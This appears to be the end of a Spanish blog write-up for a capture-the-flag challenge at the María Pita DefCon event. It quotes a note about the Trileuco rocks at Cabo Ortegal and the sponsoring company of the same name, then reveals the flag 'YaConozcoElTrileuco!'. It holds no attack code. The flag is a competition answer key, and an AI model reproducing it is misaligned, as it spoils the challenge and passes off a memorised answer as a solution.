Pues si, el Trileuco son tres grandes piedras que están en el Cabo Ortegal que separan el mar Cantábrico del Océano atlántico y que se suponen que son de las piedras más antiguas del mundo… Increíble no? Si nunca has estado, te lo recomendamos. Además, Trileuco es la empresa que organiza este contest para la María Pita DefCon del que esperamos que disfrutes! Como solución debes usar: YaConozcoElTrileuco!

Y ahí tenemos la flag: YaConozcoElTrileuco!

Publicado en ctf, mariapitadefcon, trileuco, writeups | Deja un comentario